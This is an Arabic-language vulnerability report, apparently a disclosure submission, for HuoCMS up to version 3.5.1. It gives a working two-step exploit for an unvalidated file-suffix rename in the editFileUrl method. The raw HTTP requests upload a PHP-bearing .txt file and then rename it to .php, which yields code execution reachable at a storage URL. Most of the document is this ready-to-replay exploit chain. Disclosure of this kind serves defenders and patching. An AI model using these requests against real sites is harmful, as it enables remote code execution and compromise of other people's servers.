
تفاصيل
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
AttachmentController.php
HuoCMS - <=V3.5.1
لاحقة $newPathUrl في دالة "copy" المستدعاة في طريقة "editFileUrl" لا يتم التحقق منها بواسطة القائمة البيضاء، مما يمكن استغلاله لتعديل اسم الملف. اللاحقة يتم التحكم فيها عبر suffix_url المرسل وهي قابلة للتحكم.

الخطوة 1: قم برفع ملف بلاحقة مسموحة (القائمة البيضاء) يحتوي على محتوى ضار مسبقًا، وسجل معرف الملف في نفس الوقت.
POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"
2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"
0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

بناءً على المحتوى، تم تحديد المعرف على أنه 67.
الخطوة 2: ثم قم ببناء طلب استنادًا إلى editFileUrl، وأعد تسمية الملف ذي المعرف 67، حيث يتم استدعاء دالة copy في editFileUrl الثغرة لإعادة تسمية الملف بلاحقة غير قانونية.
POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

ملاحظة: لتعديله مرة أخرى، تحتاج إلى تغيير اسم ملف suffix_url لتجاوز دالة copy التي يتم تشغيلها بواسطة $oldPathUrl != $newPathUrl داخل editFileUrl.
رابط الوصول: http://127.0.0.1/storage/file/20250416/test.php
